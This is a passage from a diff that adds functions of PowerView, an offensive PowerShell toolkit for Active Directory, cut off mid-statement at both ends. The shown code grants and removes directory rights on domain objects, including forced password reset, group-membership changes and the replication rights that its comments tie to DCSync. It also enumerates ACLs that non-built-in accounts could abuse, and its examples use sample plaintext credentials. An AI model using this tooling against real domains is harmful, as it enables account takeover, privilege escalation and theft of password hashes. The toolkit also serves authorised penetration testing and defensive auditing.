$TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + } + + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments + + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() + + if ($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } + } + + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" + + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) + + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } + + # add all the new ACEs to the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' + $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() + } + } + catch { + Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" + } + } + } + } +} + + +function Remove-DomainObjectAcl { +<# +.SYNOPSIS + +Removes an ACL from a specific active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are removed from the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase + +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Rights + +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +.PARAMETER RightsGUID + +Manual GUID representing the right to add to the target. + +.EXAMPLE + +$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} + +[no results returned] + +Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword + +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID } + +AceQualifier : AccessAllowed +ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + + +Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword + +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} + +[no results returned] + +.LINK + +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $TargetDomain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $TargetLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $TargetSearchBase, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [String] + $Rights = 'All', + + [Guid] + $RightsGUID + ) + + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + } + + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments + + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() + + if ($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } + } + + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" + + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) + + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } + + # remove all the specified ACEs from the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' + $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() + } + } + catch { + Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" + } + } + } + } +} + + +function Find-InterestingDomainAcl { +<# +.SYNOPSIS + +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. + +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName + +.DESCRIPTION + +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, +and for each returned ACE entry it checks if principal security identifier +is *-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-InterestingDomainAcl + +Finds interesting object ACLS in the current domain. + +.EXAMPLE + +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs + +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DomainName', 'Name')] + [String] + $Domain, + + [Switch] + $ResolveGUIDs, + + [String] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ACLArguments = @{} + if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } + if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } + if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + $ObjectSearcherArguments = @{ + 'Properties' = 'samaccountname,objectclass' + 'Raw' = $True + } + if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + + # ongoing list of built-up SIDs + $ResolvedSIDs = @{} + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $ACLArguments['Domain'] = $Domain + $ADNameArguments['Domain'] = $Domain + } + + Get-DomainObjectAcl @ACLArguments | ForEach-Object { + + if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { + # only process SIDs > 1000 + if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { + if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { + $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + else { + $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments + # "IdentityReferenceDN: $IdentityReferenceDN" + + if ($IdentityReferenceDN) { + $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # "IdentityReferenceDomain: $IdentityReferenceDomain" + $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain + $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN + # "IdentityReferenceDN: $IdentityReferenceDN" + $Object = Get-DomainObject @ObjectSearcherArguments + + if ($Object) { + $IdentityReferenceName = $Object.Properties.samaccountname[0] + if ($Object.Properties.objectclass -match 'computer') { + $IdentityReferenceClass = 'computer' + } + elseif ($Object.Properties.objectclass -match 'group') { + $IdentityReferenceClass = 'group' + } + elseif ($Object.Properties.objectclass -match 'user') { + $IdentityReferenceClass = 'user' + } + else { + $IdentityReferenceClass = $Null + } + + # save so we don't look up more than once + $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + } + else { + Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" + } + } + } + } + } + } +} + + +function Get-DomainOU { +<# +.SYNOPSIS + +Search for all organization units (OUs) or specific OU objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all OU objects for +the current domain are returned. + +.PARAMETER Identity + +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. + +.PARAMETER GPLink + +Only return OUs with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainOU + +Returns the current OUs in the domain. + +.EXAMPLE + +Get-DomainOU *admin* -Domain testlab.local + +Returns all OUs with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all OUs with linked to the specified group policy object. + +.EXAMPLE + +"*admin*","*server*" | Get-DomainOU + +Search for OUs with the specific names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred + +.OUTPUTS + +PowerView.OU + +Custom PSObject with translated OU property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.OU')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $OUSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($OUSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^OU=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $OUSearcher = Get-DomainSearcher @SearcherArguments + if (-not $OUSearcher) { + Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if 